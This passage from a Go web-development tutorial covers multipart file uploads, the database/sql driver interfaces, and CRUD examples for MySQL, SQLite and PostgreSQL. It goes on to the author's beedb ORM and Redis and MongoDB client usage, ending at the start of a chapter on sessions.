As you can see, we need to call `r.ParseMultipartForm` for uploading files. The function ParseMultipartForm takes the `maxMemory` argument. After you call `ParseMultipartForm`, the file will be saved in the server memory with `maxMemory` size. If the file size is larger than `maxMemory`, the rest of the data will be saved in a system temporary file. You can use `r.FormFile` to get the file handle and use `io.Copy` to save to your file system.

You don't need to call `r.ParseForm` when you access other non-file fields in the form because Go will call it when it's necessary. Also, calling `ParseMultipartForm` once is enough -multiple calls make no difference.

We use three steps for uploading files as follows:

1. Add `enctype="multipart/form-data"` to your form.
2. Call `r.ParseMultipartForm` on the server side to save the file either to memory or to a temporary file.
3. Call `r.FormFile` to get the file handle and save to the file system.

The file handler is the `multipart.FileHeader`. It uses the following struct:

```
type FileHeader struct {
       Filename string
       Header   textproto.MIMEHeader
       // contains filtered or unexported fields
}
```

Figure 4.5 Print information on server after receiving file.

Clients upload files

I showed an example of using a form to a upload a file. We can impersonate a client form to upload files in Go as well.

```
package main

import (
    "bytes"
    "fmt"
    "io"
    "io/ioutil"
    "mime/multipart"
    "net/http"
    "os"
)

func postFile(filename string, targetUrl string) error {
    bodyBuf := &bytes.Buffer{}
    bodyWriter := multipart.NewWriter(bodyBuf)

    // this step is very important
    fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
    if err != nil {
        fmt.Println("error writing to buffer")
        return err
    }

    // open file handle
    fh, err := os.Open(filename)
    if err != nil {
        fmt.Println("error opening file")
        return err
    }

    //iocopy
    _, err = io.Copy(fileWriter, fh)
    if err != nil {
        return err
    }

    contentType := bodyWriter.FormDataContentType()
    bodyWriter.Close()

    resp, err := http.Post(targetUrl, contentType, bodyBuf)
    if err != nil {
        return err
    }
    defer resp.Body.Close()
    resp_body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }
    fmt.Println(resp.Status)
    fmt.Println(string(resp_body))
    return nil
}

// sample usage
func main() {
    target_url := "http://localhost:9090/upload"
    filename := "./astaxie.pdf"
    postFile(filename, target_url)
}
```

The above example shows you how to use a client to upload files. It uses `multipart.Write` to write files into cache and sends them to the server through the POST method.

If you have other fields that need to write into data, like username, call `multipart.WriteField` as needed.

Links

- Directory
- Previous section: Duplicate submissions
- Next section: Summary

4.6 Summary

In this chapter, we mainly learned how to process form data in Go through several examples like logging in users and uploading files. We also emphasized that validating user data is extremely important for website security, and we used one section to talk about how to filter data with regular expressions.

I hope that you now know more about the communication process between client and server.

Links

- Directory
- Previous section: File upload
- Next chapter: Database

5 Database

For web developers, the database is at the core of web development. You can save almost anything into a database and query or update data inside it, like user information, products or news articles.

Go doesn't provide any database drivers, but it does have a driver interface defined in the `database/sql` package. People can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface design in Go. In sections 5.2 to 5.4, I will introduce some SQL database drivers to you. In section 5.5, I will present the ORM that I have developed which is based on the `database/sql` interface standard. It is compatible with most drivers that have implemented the `database/sql` interface, and it makes it easy to access databases idiomatically in Go.

NoSQL has been a hot topic in recent years. More websites are deciding to use NoSQL databases as their main database instead of just for the purpose of caching. I will introduce you to two NoSQL databases, which are MongoDB and Redis, in section 5.6.

Links

- Directory
- Previous Chapter: Chapter 4 Summary
- Next section: database/sql interface

5.1 database/sql interface

Go doesn't provide any official database drivers, unlike other languages like PHP which do. However, it does have some database driver interface standards for developers to develop database drivers with. The advantage is that if your code is developed according to these interface standards, you will not need to change any code if your database changes. Let's see what these database interface standards are.

sql.Register

This function is in the `database/sql` package for registering database drivers when you use third-party database drivers. All of these should call the `Register(name string, driver driver.Driver)` function in `init()` in order to register themselves.

Let's take a look at the corresponding mymysql and sqlite3 driver code:

```
//https://github.com/mattn/go-sqlite3 driver
func init() {
    sql.Register("sqlite3", &SQLiteDriver{})
}

//https://github.com/mikespook/mymysql driver
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
    Register("SET NAMES utf8")
    sql.Register("mymysql", &d)
}
```

We see that all third-party database drivers implement this function to register themselves, and Go uses a map to save user drivers inside of `database/sql` .

```
var drivers = make(map[string]driver.Driver)

drivers[name] = driver
```

Therefore, this registration function can register as many drivers as you may require, each with different names.

We always see the following code when we use third-party drivers:

```
import (
    "database/sql"
    _ "github.com/mattn/go-sqlite3"
)
```

Here, the underscore (also known as a 'blank') `_` can be quite confusing for many beginners, but this is a great feature in Go. We already know that this underscore identifier is used for discarding values from function returns, and also that you must use all packages that you've imported in your code in Go. So when the blank is used with import, it means that you need to execute the init() function of that package without directly using it, which is a perfect fit for the use-case of registering database drivers.

driver.Driver

`Driver` is an interface containing an `Open(name string)` method that returns a `Conn` interface.

```
type Driver interface {
    Open(name string) (Conn, error)
}
```

This is a one-time Conn, which means it can only be used once per goroutine. The following code will cause errors to occur:

```
...
go goroutineA (Conn)  // query
go goroutineB (Conn)  // insert
...
```

Because Go has no idea which goroutine does which operation, the query operation may get the result of the insert operation, and vice-versa.

All third-party drivers should have this function to parse the name of Conn and return the correct results.

driver.Conn

This is a database connection interface with some methods, and as i've said above, the same Conn can only be used once per goroutine.

```
type Conn interface {
    Prepare(query string) (Stmt, error)
    Close() error
    Begin() (Tx, error)
}
```

- `Prepare` returns the prepare status of corresponding SQL commands for querying and deleting, etc.
- `Close` closes the current connection and cleans resources. Most third-party drivers implement some kind of connection pool, so you don't need to cache connections which can cause unexpected errors.
- `Begin` returns a Tx that represents a transaction handle. You can use it for querying, updating, rolling back transactions, etc.

driver.Stmt

This is a ready status that corresponds with Conn, so it can only be used once per goroutine (as is the case with Conn).

```
type Stmt interface {
    Close() error
    NumInput() int
    Exec(args []Value) (Result, error)
    Query(args []Value) (Rows, error)
}
```

- `Close` closes the current connection but still returns row data if it is executing a query operation.
- `NumInput` returns the number of obligate arguments. Database drivers should check their caller's arguments when the result is greater than 0, and it returns -1 when database drivers don't know any obligate argument.
- `Exec` executes the `update/insert` SQL commands prepared in `Prepare`, returns `Result`.
- `Query` executes the `select` SQL command prepared in `Prepare`, returns row data.

driver.Tx

Generally, transaction handles only have submit or rollback methods, and database drivers only need to implement these two methods.

```
type Tx interface {
    Commit() error
    Rollback() error
}
```

driver.Execer

This is an optional interface.

```
type Execer interface {
    Exec(query string, args []Value) (Result, error)
}
```

If the driver doesn't implement this interface, when you call DB.Exec, it will automatically call Prepare, then return Stmt. After that it executes the Exec method of Stmt, then closes Stmt.

driver.Result

This is the interface for results of `update/insert` operations.

```
type Result interface {
    LastInsertId() (int64, error)
    RowsAffected() (int64, error)
}
```

- `LastInsertId` returns auto-increment Id number after a database insert operation.
- `RowsAffected` returns rows that were affected by query operations.

driver.Rows

This is the interface for the result of a query operation.

```
type Rows interface {
    Columns() []string
    Close() error
    Next(dest []Value) error
}
```

- `Columns` returns field information of database tables. The slice has a one-to-one correspondence with SQL query fields only, and does not return all fields of that database table.
- `Close` closes Rows iterator.
- `Next` returns next data and assigns to dest, converting all strings into byte arrays, and gets io.EOF error if no more data is available.

driver.RowsAffected

This is an alias of int64, but it implements the Result interface.

```
type RowsAffected int64

func (RowsAffected) LastInsertId() (int64, error)

func (v RowsAffected) RowsAffected() (int64, error)
```

driver.Value

This is an empty interface that can contain any kind of data.

```
type Value interface{}
```

The Value must be something that drivers can operate on or nil, so it should be one of the following types:

```
int64
float64
bool
[]byte
string   [*] Except Rows.Next which cannot return string
time.Time
```

driver.ValueConverter

This defines an interface for converting normal values to driver.Value.

```
type ValueConverter interface {
    ConvertValue(v interface{}) (Value, error)
}
```

This interface is commonly used in database drivers and has many useful features:

- Converts driver.Value to a corresponding database field type, for example converts int64 to uint16.
- Converts database query results to driver.Value.
- Converts driver.Value to a user defined value in the `scan` function.

driver.Valuer

This defines an interface for returning driver.Value.

```
type Valuer interface {
    Value() (Value, error)
}
```

Many types implement this interface for conversion between driver.Value and itself.

At this point, you should know a bit about developing database drivers in Go. Once you can implement interfaces for operations like add, delete, update, etc., there are only a few problems left related to communicating with specific databases.

database/sql

database/sql defines even more high-level methods on top of database/sql/driver for more convenient database operations, and it suggests that you implement a connection pool.

```
type DB struct {
    driver   driver.Driver
    dsn      string
    mu       sync.Mutex // protects freeConn and closed
    freeConn []driver.Conn
    closed   bool
}
```

As you can see, the `Open` function returns a DB that has a freeConn, and this is a simple connection pool. Its implementation is very simple and ugly. It uses `defer db.putConn(ci, err)` in the Db.prepare function to put a connection into the connection pool. Everytime you call the Conn function, it checks the length of freeConn. If it's greater than 0, that means there is a reusable connection and it directly returns to you. Otherwise it creates a new connection and returns.

Links

- Directory
- Previous section: Database
- Next section: MySQL

5.2 MySQL

The LAMP stack has been very popular on the internet in recent years, and the M in LAMP stand for MySQL. MySQL is famous because it's open source and easy to use. As such, it has become the de-facto database in the back-ends of many websites.

MySQL drivers

There are a couple of drivers that support MySQL in Go. Some of them implement the `database/sql` interface, and others use their own interface standards.

- https://github.com/go-sql-driver/mysql supports `database/sql`, written in pure Go.
- https://github.com/ziutek/mymysql supports `database/sql` and user defined interfaces, written in pure Go.

I'll use the first driver in the following examples (I use this one in my personal projects too), and I also recommend that you use it for the following reasons:

- It's a new database driver and supports more features.
- It fully supports `database/sql` interface standards.
- Supports keep-alive, long connections with thread-safety.

Samples

In the following sections, I'll use the same database table structure for different databases, then create SQL as follows:

```
CREATE TABLE `userinfo` (
    `uid` INT(10) NOT NULL AUTO_INCREMENT,
    `username` VARCHAR(64) NULL DEFAULT NULL,
    `departname` VARCHAR(64) NULL DEFAULT NULL,
    `created` DATE NULL DEFAULT NULL,
    PRIMARY KEY (`uid`)
);
```

The following example shows how to operate on a database based on the `database/sql` interface standards.

```
package main

import (
    _ "github.com/go-sql-driver/mysql"
    "database/sql"
    "fmt"
)

func main() {
    db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8")
    checkErr(err)

    // insert
    stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?")
    checkErr(err)

    res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
    checkErr(err)

    id, err := res.LastInsertId()
    checkErr(err)

    fmt.Println(id)
    // update
```

```
    stmt, err = db.Prepare("update userinfo set username=? where uid=?")
    checkErr(err)

    res, err = stmt.Exec("astaxieupdate", id)
    checkErr(err)

    affect, err := res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    // query
    rows, err := db.Query("SELECT * FROM userinfo")
    checkErr(err)

    for rows.Next() {
        var uid int
        var username string
        var department string
        var created string
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println(uid)
        fmt.Println(username)
        fmt.Println(department)
        fmt.Println(created)
    }

    // delete
    stmt, err = db.Prepare("delete from userinfo where uid=?")
    checkErr(err)

    res, err = stmt.Exec(id)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    db.Close()

}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}
```

Let me explain a few of the important functions here:

- `sql.Open()` opens a registered database driver. The Go-MySQL-Driver registered the mysql driver here. The second argument is the DSN (Data Source Name) that defines information pertaining to the database connection. It supports following formats:

  ```
  user@unix(/path/to/socket)/dbname?charset=utf8
  user:password@tcp(localhost:5555)/dbname?charset=utf8
  user:password@/dbname
  user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname
  ```

- `db.Prepare()` returns a SQL operation that is going to be executed. It also returns the execution status after executing SQL.
- `db.Query()` executes SQL and returns a Rows result.
- `stmt.Exec()` executes SQL that has been prepared and stored in Stmt.

Note that we use the format `=?` to pass arguments. This is necessary for preventing SQL injection attacks.

Links

- Directory
- Previous section: database/sql interface
- Next section: SQLite

5.3 SQLite

SQLite is an open source, embedded relational database. It has a self-contained, zero-configuration and transaction-supported database engine. Its characteristics are highly portable, easy to use, compact, efficient and reliable. In most of cases, you only need a binary file of SQLite to create, connect and operate a database. If you are looking for an embedded database solution, SQLite is worth considering. You can say SQLite is the open source version of Access.

SQLite drivers

There are many database drivers for SQLite in Go, but many of them do not support the `database/sql` interface standards.

- https://github.com/mattn/go-sqlite3 supports `database/sql`, based on cgo.
- https://github.com/feyeleanor/gosqlite3 doesn't support `database/sql`, based on cgo.
- https://github.com/phf/go-sqlite3 doesn't support `database/sql`, based on cgo.

The first driver is the only one that supports the `database/sql` interface standard in its SQLite driver, so I use this in my projects -it will make it easy to migrate my code in the future if I need to.

Samples

We create the following SQL:

```
CREATE TABLE `userinfo` (
    `uid` INTEGER PRIMARY KEY AUTOINCREMENT,
    `username` VARCHAR(64) NULL,
    `departname` VARCHAR(64) NULL,
    `created` DATE NULL
);
```

An example:

```
package main

import (
    "database/sql"
    "fmt"
    "time"
    _ "github.com/mattn/go-sqlite3"
)

func main() {
    db, err := sql.Open("sqlite3", "./foo.db")
    checkErr(err)

    // insert
    stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)")
    checkErr(err)

    res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
    checkErr(err)

    id, err := res.LastInsertId()
    checkErr(err)

    fmt.Println(id)
    // update
    stmt, err = db.Prepare("update userinfo set username=? where uid=?")
    checkErr(err)
```

```
    res, err = stmt.Exec("astaxieupdate", id)
    checkErr(err)

    affect, err := res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    // query
    rows, err := db.Query("SELECT * FROM userinfo")
    checkErr(err)
    var uid int
    var username string
    var department string
    var created time.Time

    for rows.Next() {
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println(uid)
        fmt.Println(username)
        fmt.Println(department)
        fmt.Println(created)
    }

    rows.Close() //good habit to close

    // delete
    stmt, err = db.Prepare("delete from userinfo where uid=?")
    checkErr(err)

    res, err = stmt.Exec(id)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    db.Close()

}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}
```

You may have noticed that the code is almost the same as in the previous section, and that we only changed the name of the registered driver and called `sql.Open` to connect to SQLite in a different way.

Note that sometimes you can't use the `for` statement because you don't have more than one row, then you can use the `if` statement

```
if rows.Next() {
    err = rows.Scan(&uid, &username, &department, &created)
    checkErr(err)
    fmt.Println(uid)
    fmt.Println(username)
    fmt.Println(department)
    fmt.Println(created)
}
```

Also you have to do a `rows.Next()`, without using that you can't fetch data in the `Scan` function.

Transactions

The above example shows how you fetch data from the database, but when you want to write a web application then it will not only be necessary to fetch data from the db but it will also be required to write data into it. For that purpose, you should use transactions because for various reasons, such as having multiple go routines which access the database, the database might get locked. This is undesirable in your web application and the use of transactions is effective in ensuring your database activities either pass or fail completely depending on circumstances. It is clear that using transactions can prevent a lot of things from going wrong with the web app.

```
trashSQL, err := database.Prepare("update task set is_deleted='Y',last_modified_at=datetime() where id=?")
if err != nil {
    fmt.Println(err)
}
tx, err := database.Begin()
if err != nil {
    fmt.Println(err)
}
_, err = tx.Stmt(trashSQL).Exec(id)
if err != nil {
    fmt.Println("doing rollback")
    tx.Rollback()
} else {
    tx.Commit()
}
```

As it is clear from the above block of code, you first prepare a statement, after which you execute it, depending on the output of that execution then you either roll it back or commit it.

As a final note on this section, there is a useful SQLite management tool available: http://sqlitebrowser.org

Links

- Directory
- Previous section: MySQL
- Next section: PostgreSQL

5.4 PostgreSQL

PostgreSQL is an object-relational database management system available for many platforms including Linux, FreeBSD, Solaris, Microsoft Windows and Mac OS X. It is released under an MIT-style license, and is thus free and open source software. It's larger than MySQL because it's designed for enterprise usage as an alternative to Oracle. Postgresql is a good choice for enterprise type projects.

PostgreSQL drivers

There are many database drivers available for PostgreSQL. Here are three examples of them:

- https://github.com/bmizerany/pq supports `database/sql`, written in pure Go.
- https://github.com/jbarham/gopgsqldriver supports `database/sql`, written in pure Go.
- https://github.com/lxn/go-pgsql supports `database/sql`, written in pure Go.

I will use the first one in the examples that follow.

Samples

We create the following SQL:

```
CREATE TABLE userinfo
(
    uid serial NOT NULL,
    username character varying(100) NOT NULL,
    departname character varying(500) NOT NULL,
    Created date,
    CONSTRAINT userinfo_pkey PRIMARY KEY (uid)
)
WITH (OIDS=FALSE);
```

An example:

```
package main

import (
    "database/sql"
    "fmt"
    _ "github.com/lib/pq"
    "time"
)

const (
    DB_USER     = "postgres"
    DB_PASSWORD = "postgres"
    DB_NAME     = "test"
)

func main() {
    dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable",
        DB_USER, DB_PASSWORD, DB_NAME)
    db, err := sql.Open("postgres", dbinfo)
    checkErr(err)
    defer db.Close()

    fmt.Println("# Inserting values")

    var lastInsertId int
    err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie",
 "研发部门", "2012-12-09").Scan(&lastInsertId)
```

```
    checkErr(err)
    fmt.Println("last inserted id =", lastInsertId)

    fmt.Println("# Updating")
    stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2")
    checkErr(err)

    res, err := stmt.Exec("astaxieupdate", lastInsertId)
    checkErr(err)

    affect, err := res.RowsAffected()
    checkErr(err)

    fmt.Println(affect, "rows changed")

    fmt.Println("# Querying")
    rows, err := db.Query("SELECT * FROM userinfo")
    checkErr(err)

    for rows.Next() {
        var uid int
        var username string
        var department string
        var created time.Time
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println("uid | username | department | created ")
        fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created)
    }

    fmt.Println("# Deleting")
    stmt, err = db.Prepare("delete from userinfo where uid=$1")
    checkErr(err)

    res, err = stmt.Exec(lastInsertId)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect, "rows changed")
}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}
```

Note that PostgreSQL uses the `$1, $2` format instead of the `?` that MySQL uses, and it has a different DSN format in `sql.Open`. Another thing is that the PostgreSQL driver does not support `sql.Result.LastInsertId()`. So instead of this,

```
stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3);")
res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
fmt.Println(res.LastInsertId())
```

use `db.QueryRow()` and `.Scan()` to get the value for the last inserted id.

```
err = db.QueryRow("INSERT INTO TABLE_NAME values($1) returning uid;",    VALUE1").Scan(&lastInsertId)
fmt.Println(lastInsertId)
```

Links

- Directory
- Previous section: SQLite

- Next section: Develop ORM based on beedb

5.5 Develop ORM based on beedb

(***Project beedb is no longer maintained, but the code s still there***)

beedb is an ORM (object-relational mapper) developed in Go, by me. It uses idiomatic Go to operate on databases, implementing struct-to-database mapping and acts as a lightweight Go ORM framework. The purpose of developing this ORM is not only to help people learn how to write an ORM, but also to find a good balance between functionality and performance when it comes to data persistence.

beedb is an open source project that supports basic ORM functionality, but doesn't support association queries.

Because beedb supports `database/sql` interface standards, any driver that implements this interface can be used with beedb. I've tested the following drivers:

Mysql: github/go-mysql-driver/mysql

PostgreSQL: github.com/bmizerany/pq

SQLite: github.com/mattn/go-sqlite3

Mysql: github.com/ziutek/mymysql/godrv

MS ADODB: github.com/mattn/go-adodb

Oracle: github.com/mattn/go-oci8

ODBC: bitbucket.org/miquella/mgodbc

Installation

You can use `go get` to install beedb locally.

```
go get github.com/astaxie/beedb
```

Initialization

First, you have to import all the necessary packages:

```
import (
    "database/sql"
    "github.com/astaxie/beedb"
    _ "github.com/ziutek/mymysql/godrv"
)
```

Then you need to open a database connection and create a beedb object (MySQL in this example):

```
db, err := sql.Open("mymysql", "test/xiemengjun/123456")
if err != nil {
    panic(err)
}
orm := beedb.New(db)
```

`beedb.New()` actually has two arguments. The first is the database object, and the second is for indicating which database engine you're using. If you're using MySQL/SQLite, you can just skip the second argument.

Otherwise, this argument must be supplied. For instance, in the case of SQLServer:

```
orm = beedb.New(db, "mssql")
```

PostgreSQL:

```
orm = beedb.New(db, "pg")
```

beedb supports debugging. Use the following code to enable it:

```
beedb.OnDebug=true
```

Next, we have a struct for the `Userinfo` database table that we used in previous sections.

```
type Userinfo struct {
    Uid     int `PK` // if the primary key is not id, you need to add tag `PK` for your customized primary key.
    Username    string
    Departname  string
    Created     time.Time
}
```

Be aware that beedb auto-converts camelcase names to lower snake case. For example, if we have `UserInfo` as the struct name, beedb will convert it to `user_info` in the database. The same rule applies to struct field names.

Insert data

The following example shows you how to use beedb to save a struct, instead of using raw SQL commands. We use the beedb Save method to apply the change.

```
var saveone Userinfo
saveone.Username = "Test Add User"
saveone.Departname = "Test Add Departname"
saveone.Created = time.Now()
orm.Save(&saveone)
```

You can check `saveone.Uid` after the record is inserted; its value is a self-incremented ID, which the Save method takes care of for you.

beedb provides another way of inserting data; this is via Go's map type.

```
add := make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
orm.SetTable("userinfo").Insert(add)
```

Insert multiple data:

```
addslice := make([]map[string]interface{}, 10)
add:=make(map[string]interface{})
add2:=make(map[string]interface{})
add["username"] = "astaxie"
add["departname"] = "cloud develop"
add["created"] = "2012-12-02"
add2["username"] = "astaxie2"
add2["departname"] = "cloud develop2"
add2["created"] = "2012-12-02"
addslice = append(addslice, add, add2)
orm.SetTable("userinfo").InsertBatch(addslice)
```

The method shown above is similar to a chained query, which you should be familiar with if you've ever used jquery. It returns the original ORM object after calls, then continues doing other jobs.

The method `SetTable` tells the ORM we want to insert our data into the `userinfo` table.

Update data

Let's continue working with the above example to see how to update data. Now that we have the primary key of saveone(Uid), beedb executes an update operation instead of inserting a new record.

```
saveone.Username = "Update Username"
saveone.Departname = "Update Departname"
saveone.Created = time.Now()
orm.Save(&saveone)  // update
```

Like before, you can also use map for updating data:

```
t := make(map[string]interface{})
t["username"] = "astaxie"
orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)
```

Let me explain some of the methods used above:

- `.SetPK()` tells the ORM that `uid` is the primary key records in the `userinfo` table.
- `.Where()` sets conditions and supports multiple arguments. If the first argument is an integer, it's a short form for `Where("<primary key>=?", <value>)`.
- `.Update()` method accepts a map and updates the database.

Query data

The beedb query interface is very flexible. Let's see some examples:

Example 1, query by primary key:

```
var user Userinfo
// Where accepts two arguments, supports integers
orm.Where("uid=?", 27).Find(&user)
```

Example 2:

```
var user2 Userinfo
orm.Where(3).Find(&user2) // short form that omits primary key
```

Example 3, other query conditions:

```
var user3 Userinfo
// Where two arguments are accepted, with support for char type.
orm.Where("name = ?", "john").Find(&user3)
```

Example 4, more complex conditions:

```
var user4 Userinfo
// Where three arguments are accepted
orm.Where("name = ? and age < ?", "john", 88).Find(&user4)
```

Examples to get multiple records:

Example 1, gets 10 records with `id>3` that starts with position 20:

```
var allusers []Userinfo
err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers)
```

Example 2, omits the second argument of limit, so it starts with 0 and gets 10 records:

```
var tenusers []Userinfo
err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers)
```

Example 3, gets all records:

```
var everyone []Userinfo
err := orm.OrderBy("uid desc,username asc").FindAll(&everyone)
```

As you can see, the Limit method is for limiting the number of results.

- `.Limit()` supports two arguments: the number of results and the starting position. 0 is the default value of the starting position.
- `.OrderBy()` is for ordering results. The argument is the order condition.

All the examples here are simply mapping records to structs. You can also just put the data into a map as follows:

```
a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()
```

- `.Select()` tells beedb how many fields you want to get from the database table. If unspecified, all fields are returned by default.
- `.FindMap()` returns the `[]map[string][]byte` type, so you need to convert to other types yourself.

Delete data

beedb provides rich methods to delete data.

Example 1, delete a single record:

```
// saveone is the one in above example.
orm.Delete(&saveone)
```

Example 2, delete multiple records:

```
// alluser is the slice which gets multiple records.
orm.DeleteAll(&alluser)
```

Example 3, delete records by SQL:

```
orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow()
```

Association queries

beedb doesn't support joining between structs. However, since some applications need this feature, here is an implementation:

```
a, _ := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid")
    .Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap()
```

We see a new method called `.Join()` that has three arguments:

- The first argument: Type of Join; INNER, LEFT, OUTER, CROSS, etc.
- The second argument: the table you want to join with.
- The third argument: join condition.

Group By and Having

beedb also has an implementation of `group by` and `having`.

```
a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()
```

- `.GroupBy()` indicates the field that is for group by.
- `.Having()` indicates conditions of having.

Future

I have received a lot of feedback on beedb from many people all around the world, and I'm thinking about reconfiguring the following aspects:

- Implement an interface design similar to `database/sql/driver` in order to facilitate CRUD operations.
- Implement relational database associations like one to one, one to many and many to many. Here's a sample:

```
type Profile struct {
    Nickname string
    Mobile   string
}
type Userinfo struct {
    Uid         int
    PK_Username string
    Departname  string
    Created     time.Time
    Profile     HasOne
}
```

- Auto-create tables and indexes.
- Implement a connection pool using goroutines.

Links

- Directory
- Previous section: PostgreSQL
- Next section: NoSQL database

5.6 NoSQL database

A NoSQL database provides a mechanism for the storage and retrieval of data that uses looser consistency models than typical relational databases in order to achieve horizontal scaling and higher availability. Some authors refer to them as "Not only SQL" to emphasize that some NoSQL systems do allow SQL-like query languages to be used.

As the C language of the 21st century, Go has good support for NoSQL databases, including the popular redis, mongoDB, Cassandra and Membase NoSQL databases.

redis

redis is a key-value storage system like Memcached, that supports the string, list, set and zset(ordered set) value types.

There are some Go database drivers for redis:

- https://github.com/garyburd/redigo
- https://github.com/go-redis/redis
- https://github.com/hoisie/redis
- https://github.com/alphazero/Go-Redis
- https://github.com/simonz05/godis

Let's see how to use the driver that redigo to operate on a database:

```
package main

import (
    "fmt"
    "github.com/garyburd/redigo/redis"
    "os"
    "os/signal"
    "syscall"
    "time"
)

var (
    Pool *redis.Pool
)

func init() {
    redisHost := ":6379"
    Pool = newPool(redisHost)
    close()
}

func newPool(server string) *redis.Pool {

    return &redis.Pool{

        MaxIdle:     3,
        IdleTimeout: 240 * time.Second,

        Dial: func() (redis.Conn, error) {
            c, err := redis.Dial("tcp", server)
            if err != nil {
                return nil, err
            }
            return c, err
        },

        TestOnBorrow: func(c redis.Conn, t time.Time) error {
            _, err := c.Do("PING")
            return err
```

```
            },
        }
    }

    func close() {
        c := make(chan os.Signal, 1)
        signal.Notify(c, os.Interrupt)
        signal.Notify(c, syscall.SIGTERM)
        signal.Notify(c, syscall.SIGKILL)
        go func() {
            <-c
            Pool.Close()
            os.Exit(0)
        }()
    }

    func Get(key string) ([]byte, error) {

        conn := Pool.Get()
        defer conn.Close()

        var data []byte
        data, err := redis.Bytes(conn.Do("GET", key))
        if err != nil {
            return data, fmt.Errorf("error get key %s: %v", key, err)
        }
        return data, err
    }

    func main() {
        test, err := Get("test")
        fmt.Println(test, err)
    }
```

I forked the last of these packages, fixed some bugs, and used it in my short URL service (2 million PV every day).

- https://github.com/astaxie/goredis

Let's see how to use the driver that I forked to operate on a database:

```
package main

import (
    "github.com/astaxie/goredis"
    "fmt"
)

func main() {
    var client goredis.Client

    // Set the default port in Redis
    client.Addr = "127.0.0.1:6379"

    // string manipulation
    client.Set("a", []byte("hello"))
    val, _ := client.Get("a")
    fmt.Println(string(val))
    client.Del("a")

    // list operation
    vals := []string{"a", "b", "c", "d", "e"}
    for _, v := range vals {
        client.Rpush("l", []byte(v))
    }
    dbvals,_ := client.Lrange("l", 0, 4)
    for i, v := range dbvals {
        println(i,":",string(v))
    }
    client.Del("l")
}
```

We can see that it is quite easy to operate redis in Go, and it has high performance. It's client commands are almost the same as redis' built-in commands.

mongoDB

mongoDB (from "humongous") is an open source document-oriented database system developed and supported by 10gen. It is part of the NoSQL family of database systems. Instead of storing data in tables as is done in a "classical" relational database, MongoDB stores structured data as JSON-like documents with dynamic schemas (MongoDB calls the format BSON), making the integration of data in certain types of applications easier and faster.

Figure 5.1 MongoDB compared to Mysql

The best driver for mongoDB is called `mgo`, and it is possible that it will be included in the standard library in the future.

Install mgo:

```
go get gopkg.in/mgo.v2
```

Here is the example:

```
package main

import (
    "fmt"
    "gopkg.in/mgo.v2"
    "gopkg.in/mgo.v2/bson"
    "log"
)

type Person struct {
    Name  string
    Phone string
}

func main() {
    session, err := mgo.Dial("server1.example.com,server2.example.com")
    if err != nil {
        panic(err)
    }
    defer session.Close()

    // Optional. Switch the session to a monotonic behavior.
    session.SetMode(mgo.Monotonic, true)

    c := session.DB("test").C("people")
    err = c.Insert(&Person{"Ale", "+55 53 8116 9639"},
        &Person{"Cla", "+55 53 8402 8510"})
    if err != nil {
        log.Fatal(err)
    }

    result := Person{}
    err = c.Find(bson.M{"name": "Ale"}).One(&result)
    if err != nil {
        log.Fatal(err)
    }

    fmt.Println("Phone:", result.Phone)
}
```

We can see that there are no big differences when it comes to operating on mgo or beedb databases; they are both based on structs. This is the Go way of doing things.

Links

- Directory
- Previous section: Develop ORM based on beedb
- Next section: Summary

5.7 Summary

In this chapter, you first learned about the design of the `database/sql` interface and many third-party database drivers for various database types. Then I introduced beedb, an ORM for relational databases, to you. I also showed you some sample database operations. In the end, I talked about a few NoSQL databases. We saw that Go provides very good support for those NoSQL databases.

After reading this chapter, I hope that you have a better understanding of how to operate databases in Go. This is the most important part of web development, so I want you to completely understand the design concepts of the `database/sql` interface.

Links

- Directory
- Previous section: NoSQL database
- Next section: Data storage and session

6 Data storage and sessions

An important topic in web development is providing a good user experience, but the fact that HTTP is a stateless protocol seems contrary to this spirit. How can we control the whole process of viewing websites for users? The classic solutions are using cookies and sessions, where cookies serve as the client side mechanism and sessions are saved on the server side with a unique identifier for every single user. Note that sessions can be passed in URLs or cookies, or even in your database (which is much more secure, but may hamper your application performance).

